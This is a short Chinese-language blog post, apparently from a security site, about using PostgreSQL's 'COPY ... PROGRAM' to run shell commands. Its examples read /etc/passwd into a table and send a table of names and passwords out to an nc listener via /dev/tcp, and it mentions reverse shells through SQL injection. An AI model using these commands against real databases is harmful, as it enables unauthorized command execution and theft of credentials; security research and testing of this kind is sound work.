现在的位置: 首页 Sql >正文

PostgreSQL执行命令的新方式

从Postgres9.3开始,copy语句增加了一个PROGRAM语法,用于将查询结果发送至程序,或将程序的输出结果插入表中。

例如,可以通过以下语句,将cat /etc/passwd的执行结果插入result表中:

create table result(content text);
copy result from program 'cat /etc/passwd';

结果如图所示:

11.png

之后使用常规聚合函数/报错等方式获取结果即可,可以参考这篇文章

(实际上,bash/py等各种反弹方式也是可以的,但要注意子进程退出前查询语句不会结束,sql连接/注入页面会挂起)


而借助copy to PROGRAM,则可以直接把整个表的数据发送至远程服务器。首先创建测试表:

create table admin(id int,name text,pass text);
insert into admin values(1,'a1','p1'),(2,'a2','p2');

之后使用nc监听8888端口接收回显,最后执行查询语句:

copy admin to program 'cat - >> /dev/tcp/127.0.0.1/8888';

即可在监听端获取完整的admin表内容。

copy from结合可以把回显发送到远程……不过显然还是直接反弹更省心。


最后,PROGRAM语法需要pg_execute_server_program权限,默认情况下只有postgres用户具备,所以更多时候只能作为一个兼容性更好的UDF来用。

参考链接:https://www.postgresql.org/docs/9.3/sql-copy.html